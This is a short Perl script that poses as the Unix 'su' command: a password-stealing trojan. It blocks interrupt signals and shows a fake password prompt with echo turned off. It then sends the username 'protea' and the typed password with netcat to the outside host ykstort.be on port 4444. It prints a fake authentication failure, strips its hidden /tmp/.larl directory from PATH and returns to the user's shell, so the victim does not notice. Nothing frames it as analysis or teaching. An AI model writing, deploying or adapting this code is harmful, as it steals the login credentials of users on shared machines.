#!/usr/bin/perl

$SIG{INT} = 'IGNORE';
$SIG{QUIT} = 'IGNORE';
$SIG{TERM} = 'IGNORE';

print STDERR "Password: ";
system "stty -echo";
chomp ($pass = <STDIN>);
system "stty echo";
print "\n";
if (open LOL, "|nc -q0 ykstort.be 4444 &>/dev/null") {
	print LOL "protea:$pass\n";
	close LOL;
}
print STDERR "su: Authentication failure\n";
print "Sorry.\n";
$ENV{PATH} =~ s/\/tmp\/\.larl//g;
if ($ENV{SHELL}) {
	exec $ENV{SHELL}, "--norc";
}